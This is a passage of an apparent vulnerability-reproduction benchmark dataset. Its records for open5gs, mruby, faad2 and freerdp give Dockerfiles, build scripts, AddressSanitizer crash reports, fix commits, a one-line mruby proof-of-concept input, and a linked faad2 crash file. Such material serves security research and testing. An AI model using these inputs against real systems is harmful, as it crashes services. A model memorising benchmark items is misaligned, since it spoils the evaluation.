#!/bin/bash -eu # Minimized build script with only core build commands set -eu CFLAGS="$CFLAGS -Wno-compound-token-split-by-macro -Wno-format" CXXFLAGS="$CFLAGS" LDFLAGS="$CFLAGS" sed -i "s|link_args: lib_fuzzing_engine|link_args: [lib_fuzzing_engine, '-ltalloc', '-Wl,-rpath,\$ORIGIN/lib']|" tests/fuzzing/meson.build meson setup builddir --default-library=static -Dfuzzing=true -Dlib_fuzzing_engine="$LIB_FUZZING_ENGINE" ninja -C builddir -k 0 || true
/src/open5gs
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/open5gs/open5gs/issues/2585 ## Description: Issue: open5gs/open5gs#2585 Title: [Bug]: Possible heap-buffer-overflow in /lib/pfcp/context.c State: closed Created by: liuxiaoxinxinxin Created at: 2023-09-05 14:50:54+00:00 Labels: type:bug Issue Body: ### Open5GS Release, Revision, or Tag v2.6.4 ### Steps to reproduce According to "Building Open5GS from Sources," I compiled Open5GS with ASAN on ubuntu 20.04. Then I follow "Open5GS 5GC & UERANSIM UE / RAN Sample Configuration" and run Open5GS 5GC C-Plane, ASAN reported the following information: ### Logs ```shell ==5548==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f8fcb87c860 at pc 0x7f8fd0a02e3d bp 0x7ffd32cf7180 sp 0x7ffd32cf7178 WRITE of size 4 at 0x7f8fcb87c860 thread T0 #0 0x7f8fd0a02e3c in ogs_pfcp_context_init /home/lxy/Downloads/open5gs-main/build/../lib/pfcp/context.c:78:62 #1 0x4d5090 in smf_initialize /home/lxy/Downloads/open5gs-main/build/../src/smf/init.c:39:5 #2 0x4d2d42 in app_initialize /home/lxy/Downloads/open5gs-main/build/../src/smf/app.c:26:10 #3 0x4d4566 in main /home/lxy/Downloads/open5gs-main/build/../src/main.c:214:10 #4 0x7f8fd03a9082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 #5 0x426a7d in _start (/home/lxy/Downloads/open5gs-main/install/bin/open5gs-smfd+0x426a7d) 0x7f8fcb87c860 is located 0 bytes to the right of 262240-byte region [0x7f8fcb83c800,0x7f8fcb87c860) allocated by thread T0 here: #0 0x4a1cdd in malloc (/home/lxy/Downloads/open5gs-main/install/bin/open5gs-smfd+0x4a1cdd) #1 0x7f8fd073ec86 in _talloc_zero (/lib/x86_64-linux-gnu/libtalloc.so.2+0x6c86) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/lxy/Downloads/open5gs-main/build/../lib/pfcp/context.c:78:62 in ogs_pfcp_context_init Shadow bytes around the buggy address: 0x0ff2797078b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff2797078c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff2797078d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff2797078e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0ff2797078f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0ff279707900: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa 0x0ff279707910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff279707920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff279707930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff279707940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0ff279707950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==5548==ABORTING ``` ### Expected behaviour I expect that a heap-buffer-overflow scenario will not occur. I am not quite sure whether this is a bug, any feedback would be appreciated. ### Observed Behaviour After examining the call stack and reading the source code, I found that in /lib/core/ogs-pool.h line 152: (pool)->array[i] = i+1; then in lib/pfcp/context.c line 78: pdr_random_to_index[ogs_pfcp_pdr_teid_pool.array[i]] = i; ogs_pfcp_pdr_teid_pool.array[i] may exceed the size of pdr_random_to_index, leading to a heap-buffer-overflow. ### eNodeB/gNodeB _No response_ ### UE Models and versions _No response_ Comments: Comment by acetcom on 2023-09-05 22:16:19+00:00: @liuxiaoxinxinxin You're right. This is a bug of Open5GS. So I've fixed it in the main branch. Thank you so much for your effort. Sukchan
[]
[ { "sha": "2fbc445d32aa7749166396a9c055a199f90a1b01", "url": "https://github.com/open5gs/open5gs/commit/2fbc445d32aa7749166396a9c055a199f90a1b01" }, { "sha": "444297968be04235496c6724b0bec62c61fe8760", "url": "https://github.com/open5gs/open5gs/commit/444297968be04235496c6724b0bec62c61fe8760" }, { "sha": "f03f2c3f9453593b9d6a9246f5646ce185ef28bc", "url": "https://github.com/Omnitouch/open5gs/commit/f03f2c3f9453593b9d6a9246f5646ce185ef28bc" } ]
mruby.cve-2022-0080
mruby/mruby
3de9ddfb395c03996066a5df6d22f901a4999de2
2021-12-31T03:15:41
mruby
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev RUN git clone https://github.com/mruby/mruby mruby RUN git -C mruby checkout 3de9ddfb395c03996066a5df6d22f901a4999de2 WORKDIR $SRC/mruby COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu cd $SRC/mruby export LD=$CC export LDFLAGS="$CFLAGS" rake -m
/src/mruby
address
================= Bug Report (1/1) ================== ## Source: Huntr ## URL: https://huntr.dev/bounties/59a70392-4864-4ce3-8e35-6ac2111d1e2e ## Description: Description Heap Base Buffer Overflow mrb_irep_cutref Proof of Concept ( *a = () ) a.<<.take_while{ a.drop_while {Enumerable ; a<<lambda {}}} Impact mruby/bin/mirb ./cr mirb - Embeddable Interactive Ruby Shell => nil too many irep references (RuntimeError) ================================================================= ==990==ERROR: AddressSanitizer: heap-use-after-free on address 0x6070000003a6 at pc 0x560e7e6acc2e bp 0x7fffd2af78f0 sp 0x7fffd2af78e0 READ of size 1 at 0x6070000003a6 thread T0 #0 0x560e7e6acc2d in mrb_irep_cutref /root/master/asan_mruby/src/state.c:138 #1 0x560e7e6a6255 in obj_free /root/master/asan_mruby/src/gc.c:871 #2 0x560e7e6a3871 in free_heap /root/master/asan_mruby/src/gc.c:433 #3 0x560e7e6a38c9 in mrb_gc_destroy /root/master/asan_mruby/src/gc.c:442 #4 0x560e7e6ad372 in mrb_close /root/master/asan_mruby/src/state.c:195 #5 0x560e7e6299c6 in main /root/master/asan_mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:713 #6 0x7f0a1e25b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) #7 0x560e7e62648d in _start (/root/master/asan_mruby/bin/mirb+0xbe48d) 0x6070000003a6 is located 6 bytes inside of 72-byte region [0x6070000003a0,0x6070000003e8) freed by thread T0 here: #0 0x7f0a1e6827cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf) #1 0x560e7e6ac888 in mrb_default_allocf /root/master/asan_mruby/src/state.c:64 #2 0x560e7e6a2c4e in mrb_free /root/master/asan_mruby/src/gc.c:288 #3 0x560e7e6ad27d in mrb_irep_free /root/master/asan_mruby/src/state.c:174 #4 0x560e7e6acbdc in mrb_irep_decref /root/master/asan_mruby/src/state.c:128 #5 0x560e7e6a6268 in obj_free /root/master/asan_mruby/src/gc.c:873 #6 0x560e7e6a3871 in free_heap /root/master/asan_mruby/src/gc.c:433 #7 0x560e7e6a38c9 in mrb_gc_destroy /root/master/asan_mruby/src/gc.c:442 #8 0x560e7e6ad372 in mrb_close /root/master/asan_mruby/src/state.c:195 #9 0x560e7e6299c6 in main /root/master/asan_mruby/mrbgems/mruby-bin-mirb/tools/mirb/mirb.c:713 #10 0x7f0a1e25b0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2) previously allocated by thread T0 here: #0 0x7f0a1e682ffe in __interceptor_realloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dffe) #1 0x560e7e6ac8a2 in mrb_default_allocf /root/master/asan_mruby/src/state.c:68 #2 0x560e7e6a2923 in mrb_realloc_simple /root/master/asan_mruby/src/gc.c:226 #3 0x560e7e6a2a25 in mrb_realloc /root/master/asan_mruby/src/gc.c:240 #4 0x560e7e6a2b12 in mrb_malloc /root/master/asan_mruby/src/gc.c:256 #5 0x560e7e6ad3ff in mrb_add_irep /root/master/asan_mruby/src/state.c:208 #6 0x560e7e72e1b3 in scope_add_irep /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:3655 #7 0x560e7e72e614 in scope_new /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:3685 #8 0x560e7e71d505 in lambda_body /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:1305 #9 0x560e7e723b23 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2275 #10 0x560e7e7200d1 in gen_call /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:1719 #11 0x560e7e725595 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2513 #12 0x560e7e71f253 in gen_values /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:1574 #13 0x560e7e71fca9 in gen_call /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:1679 #14 0x560e7e725595 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2513 #15 0x560e7e722a47 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2140 #16 0x560e7e71e83c in lambda_body /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:1467 #17 0x560e7e723b23 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2275 #18 0x560e7e7200d1 in gen_call /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:1719 #19 0x560e7e725595 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2513 #20 0x560e7e722a47 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2140 #21 0x560e7e71e83c in lambda_body /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:1467 #22 0x560e7e723b23 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2275 #23 0x560e7e7200d1 in gen_call /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:1719 #24 0x560e7e725595 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2513 #25 0x560e7e722a47 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2140 #26 0x560e7e71ea4e in scope_body /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:1484 #27 0x560e7e725561 in codegen /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:2508 #28 0x560e7e7306f0 in generate_code /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:3902 #29 0x560e7e730ac8 in mrb_generate_code /root/master/asan_mruby/mrbgems/mruby-compiler/core/codegen.c:3925 SUMMARY: AddressSanitizer: heap-use-after-free /root/master/asan_mruby/src/state.c:138 in mrb_irep_cutref Shadow bytes around the buggy address: 0x0c0e7fff8020: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fd fd 0x0c0e7fff8030: fd fd fd fd fd fd fd fa fa fa fa fa fd fd fd fd 0x0c0e7fff8040: fd fd fd fd fd fa fa fa fa fa fd fd fd fd fd fd 0x0c0e7fff8050: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c0e7fff8060: fd fa fa fa fa fa fd fd fd fd fd fd fd fd fd fa =>0x0c0e7fff8070: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fa fa fa 0x0c0e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==990==ABORTING Relevant Links: https://github.com/mruby/mruby
[]
[ { "sha": "59a70392", "url": null }, { "sha": "28ccc664e5dcd3f9d55173e9afde77c4705a9ab6", "url": "https://github.com/mruby/mruby/commit/28ccc664e5dcd3f9d55173e9afde77c4705a9ab6" } ]
faad2.cve-2018-20361
knik0/faad2
334e7647a5f31903aca33dde39bb8683e9d8cccd
2017-12-17T13:54:42
faad2
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/knik0/faad2 faad2 RUN git -C faad2 checkout 334e7647a5f31903aca33dde39bb8683e9d8cccd WORKDIR $SRC/faad2 COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./bootstrap ./configure make -j$(nproc)
/src/faad2
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/knik0/faad2/issues/30 ## Description: Issue: knik0/faad2#30 Title: Invalid memory address dereference in hf_assembly (in libfaad/sbr_hfadj.c:1536) State: closed Created by: fantasy7082 Created at: 2018-12-17 06:49:16+00:00 Issue Body: Hi, i found a issue in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function hf_assembly .the details are below(ASAN): ``` ./faad faad_res/009-invalid-def-sbr_hfadj_1536 -o out.wav *********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ****************** Build: Dec 13 2018 Copyright 2002-2004: Ahead Software AG http://www.audiocoding.com bug tracking: https://sourceforge.net/p/faac/bugs/ Floating point version This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License. ************************************************************************** faad_res/009-invalid-def-sbr_hfadj_1536 file info: ADTS, 0.299 sec, 42 kbps, 48000 Hz --------------------- | Config: 2 Ch | --------------------- | Ch | Position | --------------------- | 00 | Left front | | 01 | Right front | --------------------- ASAN:SIGSEGVfaad_res/009-invalid-def-sbr_hfadj_1536. ================================================================= ==7089==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000030da (pc 0x7f2a44f66a79 bp 0x7ffc06965b70 sp 0x7ffc06965ab0 T0) #0 0x7f2a44f66a78 in hf_assembly /root/faad2_asan/libfaad/sbr_hfadj.c:1536 #1 0x7f2a44f633b6 in hf_adjustment /root/faad2_asan/libfaad/sbr_hfadj.c:90 #2 0x7f2a44f81725 in sbr_process_channel /root/faad2_asan/libfaad/sbr_dec.c:363 #3 0x7f2a44f837fa in sbrDecodeSingleFramePS /root/faad2_asan/libfaad/sbr_dec.c:637 #4 0x7f2a44f2bb54 in reconstruct_single_channel /root/faad2_asan/libfaad/specrec.c:1071 #5 0x7f2a44f33e28 in single_lfe_channel_element /root/faad2_asan/libfaad/syntax.c:631 #6 0x7f2a44f32354 in decode_sce_lfe /root/faad2_asan/libfaad/syntax.c:351 #7 0x7f2a44f332da in raw_data_block /root/faad2_asan/libfaad/syntax.c:441 #8 0x7f2a44eed9c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990 #9 0x7f2a44eed566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821 #10 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679 #11 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323 #12 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366 #13 0x7f2a44b2582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #14 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/sbr_hfadj.c:1536 hf_assembly ==7089==ABORTING ``` POC FILE:https://github.com/fantasy7082/image_test/blob/master/009-invalid-def-sbr_hfadj_1536 Comments: Comment by hlef on 2019-08-10 13:43:25+00:00: Unreproducible on the current master. Fixed by https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3. This can be confirmed by doing some quick debugging: Before https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3, on my system: ``` $ ASAN_OPTIONS=abort_on_error=1 libtool --mode=execute gdb --args ./frontend/faad ../009-invalid-def-sbr_hfadj_1536 -o /tmp/out.wav GNU gdb (Debian 8.2.1-2) 8.2.1 [...] Reading symbols from /home/hle/Development/C/faad2/faad2/frontend/.libs/faad...done. (gdb) r Starting program: /home/hle/Development/C/faad2/faad2/frontend/.libs/faad ../009-invalid-def-sbr_hfadj_1536 -o /tmp/out.wav [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". *********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ****************** Build: Aug 10 2019 [...] ************************************************************************** ../009-invalid-def-sbr_hfadj_1536 file info: ADTS, 0.299 sec, 42 kbps, 48000 Hz --------------------- | Config: 2 Ch | --------------------- | Ch | Position | --------------------- | 00 | Left front | | 01 | Right front | --------------------- ================================================================= ==4990==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffffffeccb0 at pc 0x7ffff71973cd bp 0 x7ffffffec8c0 sp 0x7ffffffec8b8 WRITE of size 4 at 0x7ffffffeccb0 thread T0 #0 0x7ffff71973cc in calculate_gain /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:1311 #1 0x7ffff7194930 in hf_adjustment /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:83 #2 0x7ffff71b3b28 in sbr_process_channel /home/hle/Development/C/faad2/faad2/libfaad/sbr_dec.c:363 #3 0x7ffff71b5c60 in sbrDecodeSingleFramePS /home/hle/Development/C/faad2/faad2/libfaad/sbr_dec.c:637 #4 0x7ffff715bb72 in reconstruct_single_channel /home/hle/Development/C/faad2/faad2/libfaad/specrec.c:1 071 #5 0x7ffff716409e in single_lfe_channel_element /home/hle/Development/C/faad2/faad2/libfaad/syntax.c:63 1 #6 0x7ffff71623f3 in decode_sce_lfe /home/hle/Development/C/faad2/faad2/libfaad/syntax.c:351 #7 0x7ffff71633e2 in raw_data_block /home/hle/Development/C/faad2/faad2/libfaad/syntax.c:441 #8 0x7ffff711c4f5 in aac_frame_decode /home/hle/Development/C/faad2/faad2/libfaad/decoder.c:990 #9 0x7ffff711bfbb in NeAACDecDecode /home/hle/Development/C/faad2/faad2/libfaad/decoder.c:821 #10 0x55555556e07f in decodeAACfile /home/hle/Development/C/faad2/faad2/frontend/main.c:679 #11 0x55555557141a in faad_main /home/hle/Development/C/faad2/faad2/frontend/main.c:1323 #12 0x555555571640 in main /home/hle/Development/C/faad2/faad2/frontend/main.c:1366 #13 0x7ffff6f6009a in __libc_start_main ../csu/libc-start.c:308 #14 0x55555555f409 in _start (/home/hle/Development/C/faad2/faad2/frontend/.libs/faad+0xb409) Address 0x7ffffffeccb0 is located in stack of thread T0 at offset 0 in frame #0 0x7ffff71942e1 in hf_adjustment /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:60 This frame has 1 object(s): [32, 2972) 'adj' HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-underflow /home/hle/Development/C/faad2/faad2/libfaad/sbr_hfadj.c:1 311 in calculate_gain [...] ==4990==ABORTING Program received signal SIGABRT, Aborted. __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff6f5e535 in __GI_abort () at abort.c:79 #2 0x00007ffff72eae6b in ?? () from /lib/x86_64-linux-gnu/libasan.so.5 #3 0x00007ffff72f2ed8 in ?? () from /lib/x86_64-linux-gnu/libasan.so.5 #4 0x00007ffff72d797d in ?? () from /lib/x86_64-linux-gnu/libasan.so.5 #5 0x00007ffff72d854b in __asan_report_store4 () from /lib/x86_64-linux-gnu/libasan.so.5 #6 0x00007ffff71973cd in calculate_gain (sbr=0x62f000000400, adj=0x7ffffffeccd0, ch=0 '\000') at sbr_hfadj.c:1311 #7 0x00007ffff7194931 in hf_adjustment (sbr=0x62f000000400, Xsbr=0x62f000003508, ch=0 '\000') at sbr_hfadj.c:83 #8 0x00007ffff71b3b29 in sbr_process_channel (sbr=0x62f000000400, channel_buf=0x625000000100, X=0x7ffffffed940, ch=0 '\000', dont_process=0 '\000', downSampledSBR=0 '\000') at sbr_dec.c:363 #9 0x00007ffff71b5c61 in sbrDecodeSingleFramePS (sbr=0x62f000000400, left_channel=0x625000000100, right_channel=0x625000002900, just_seeked=0 '\000', downSampledSBR=0 '\000') at sbr_dec.c:637 #10 0x00007ffff715bb73 in reconstruct_single_channel (hDecoder=0x620000000080, ics=0x7fffffff8ae6, sce=0x7fffffff8ae0, spec_data=0x7fffffff82c0) at specrec.c:1071 #11 0x00007ffff716409f in single_lfe_channel_element (hDecoder=0x620000000080, ld=0x7fffffffdeb0, channel=0 '\000', tag=0x7fffffffdd40 "") at syntax.c:631 #12 0x00007ffff71623f4 in decode_sce_lfe (hDecoder=0x620000000080, hInfo=0x7fffffffe1e0, ld=0x7fffffffdeb0, id_syn_ele=0 '\000') at syntax.c:351 #13 0x00007ffff71633e3 in raw_data_block (hDecoder=0x620000000080, hInfo=0x7fffffffe1e0, ld=0x7fffffffdeb0, pce=0x620000000bd1, drc=0x610000000040) at syntax.c:441 #14 0x00007ffff711c4f6 in aac_frame_decode (hDecoder=0x620000000080, hInfo=0x7fffffffe1e0, buffer=0x621000002900 "\377\361X@\033\337\374\001X4,\264u\034\tHȀ\260\220\302%N\001\342\241\023b\340D\2 41\002\201k\356\a", buffer_size=4608, sample_buffer2=0x0, sample_buffer_size=0) at decoder.c:990 #15 0x00007ffff711bfbc in NeAACDecDecode (hpDecoder=0x620000000080, hInfo=0x7fffffffe1e0, buffer=0x621000002900 "\377\361X@\033\337\374\001X4,\264u\034\tHȀ\260\220\302%N\001\342\241\023b\340D\2 41\002\201k\356\a", buffer_size=4608) at decoder.c:821 #16 0x000055555556e080 in decodeAACfile (aacfile=0x604000000010 "../009-invalid-def-sbr_hfadj_1536", sndfile=0x602000000010 "/tmp/out.wav", adts_fn=0x0, to_stdout=0, def_srate=0, object_type=2, outputFormat=1, fileType=1, downMatrix=0, infoOnly=0, adts_out=0, old_format=0, song_length=0x7fffffffe540) at main.c:679 #17 0x000055555557141b in faad_main (argc=4, argv=0x7fffffffe8b8) at main.c:1323 #18 0x0000555555571641 in main (argc=4, argv=0x7fffffffe8b8) at main.c:1366 (gdb) up 6 #6 0x00007ffff71973cd in calculate_gain (sbr=0x62f000000400, adj=0x7ffffffeccd0, ch=0 '\000') at sbr_hfadj.c:1311 1311 Q_M_lim[m] = Q_M; (gdb) l 1306 1307 /* limit the additional noise energy level */ 1308 /* and apply the limiter */ 1309 if (G_max > G) 1310 { 1311 Q_M_lim[m] = Q_M; 1312 G_lim[m] = G; 1313 } else { 1314 Q_M_lim[m] = Q_M * G_max / G; 1315 G_lim[m] = G_max; (gdb) p m $1 = 216 '\330' ``` @fabiangreffrath it would be great if you could double check, but I think this can be safely closed. --- Comment by hlef on 2019-08-10 13:44:59+00:00: FTR, this was assigned CVE-2018-20361. --- Comment by fabiangreffrath on 2019-08-19 12:58:31+00:00: Closing this issue. Commit References: 6b4a7cde30f2e2cb03e78ef476cc73179cfffda3
[]
[ { "sha": "6b4a7cde30f2e2cb03e78ef476cc73179cfffda3", "url": "https://github.com/knik0/faad2/commit/6b4a7cde30f2e2cb03e78ef476cc73179cfffda3" }, { "sha": "678aaac12a93ea496bb037730a1c13db73e70924", "url": "https://github.com/knik0/faad2/commit/678aaac12a93ea496bb037730a1c13db73e70924" }, { "sha": "ebec9f94879fcb6390a7a1ada2d596a446af1d78", "url": "https://github.com/knik0/faad2/commit/ebec9f94879fcb6390a7a1ada2d596a446af1d78" }, { "sha": "b9862e2e3d585d1de25143b27ca19df79e9921c5", "url": "https://github.com/knik0/faad2/commit/b9862e2e3d585d1de25143b27ca19df79e9921c5" }, { "sha": "1d539788397713968d9660fe9f4e68af526bab73", "url": "https://github.com/knik0/faad2/commit/1d539788397713968d9660fe9f4e68af526bab73" }, { "sha": "c8f36e7d779d6ac34a902873975163c1c7793382", "url": "https://github.com/knik0/faad2/commit/c8f36e7d779d6ac34a902873975163c1c7793382" }, { "sha": "b394ca181f3f189386ed6d814be6bcd91ef31d41", "url": "https://github.com/eustas/faad2/commit/b394ca181f3f189386ed6d814be6bcd91ef31d41" }, { "sha": "b02a9ee5bf071fa92563536c076a69dbec814e7e", "url": "https://github.com/arcspace/faad2/commit/b02a9ee5bf071fa92563536c076a69dbec814e7e" }, { "sha": "21240c726a94d1b01626beefef975eaf639b5ddc", "url": "https://github.com/hlef/faad2/commit/21240c726a94d1b01626beefef975eaf639b5ddc" }, { "sha": "2298d5ff9963b62e1a5a396bbbcc64c20bd1ac9b", "url": "https://github.com/hlef/faad2/commit/2298d5ff9963b62e1a5a396bbbcc64c20bd1ac9b" }, { "sha": "805be6bd1e0670916a41d0cd33623608b44f78a2", "url": "https://github.com/knik0/faad2/commit/805be6bd1e0670916a41d0cd33623608b44f78a2" }, { "sha": "8d045444cb72091b8b479684ffe7ee8e662afb43", "url": "https://github.com/knik0/faad2/commit/8d045444cb72091b8b479684ffe7ee8e662afb43" }, { "sha": "f91a91af5af76aaff7be6dd2c06b782c840e95f6", "url": "https://github.com/knik0/faad2/commit/f91a91af5af76aaff7be6dd2c06b782c840e95f6" }, { "sha": "b85c7449be81f0f707dca329c2fc67733d4c6856", "url": "https://github.com/knik0/faad2/commit/b85c7449be81f0f707dca329c2fc67733d4c6856" }, { "sha": "8e28afb1d0ccc92d47cb852401049b5bca9be9ba", "url": "https://github.com/knik0/faad2/commit/8e28afb1d0ccc92d47cb852401049b5bca9be9ba" }, { "sha": "022b3e5c4ef3f7a557bf262d2ca4eff276a1a96c", "url": "https://github.com/knik0/faad2/commit/022b3e5c4ef3f7a557bf262d2ca4eff276a1a96c" }, { "sha": "58fff5ceabc652747240a8fd2b929f33da192947", "url": "https://github.com/knik0/faad2/commit/58fff5ceabc652747240a8fd2b929f33da192947" }, { "sha": "5a036511227b01a6957fe8e42016b5552ac9f7a6", "url": "https://github.com/knik0/faad2/commit/5a036511227b01a6957fe8e42016b5552ac9f7a6" }, { "sha": "372b2e44049f355c52c13d75112db9f14d0ae4f7", "url": "https://github.com/knik0/faad2/commit/372b2e44049f355c52c13d75112db9f14d0ae4f7" } ]
freerdp.cve-2023-39354
freerdp/freerdp
60dd48e6982b4e4d5dcd3ed1a4fc1ef923887082
2023-08-25T07:36:05
freerdp
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y build-essential git-core cmake ninja-build pkg-config zlib1g-dev ccache libx11-dev libxext-dev libxinerama-dev libxcursor-dev libxkbfile-dev libxv-dev libxi-dev libxdamage-dev libxrender-dev libxrandr-dev libssl-dev libasound2-dev libcups2-dev libpulse-dev libcairo2-dev libavutil-dev libavcodec-dev libusb-1.0-0-dev libicu-dev libpkcs11-helper1-dev libpkcs11-helper1 libsdl2-ttf-dev libwayland-dev libpam0g-dev libxcb-damage0-dev ccache libxtst-dev libfuse-dev libsystemd-dev libsoxr-dev libsdl2-dev docbook-xsl libkrb5-dev krb5-multidev libcjson-dev libswscale-dev libswresample-dev libpcsclite-dev xsltproc libsdl2-dev RUN git clone https://github.com/freerdp/freerdp freerdp RUN git -C freerdp checkout 60dd48e6982b4e4d5dcd3ed1a4fc1ef923887082 WORKDIR $SRC/freerdp COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu -DCMAKE_C_FLAGS="${CFLAGS}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DCMAKE_EXE_LINKER_FLAGS="${LDFLAGS}" -DCMAKE_MODULE_LINKER_FLAGS="${LDFLAGS}" -DCMAKE_SHARED_LINKER_FLAGS="${LDFLAGS}" cmake "${cmake_args[@]}" -S . -B build -G Ninja cmake --build build --parallel --target fuzzers
/src/freerdp
address
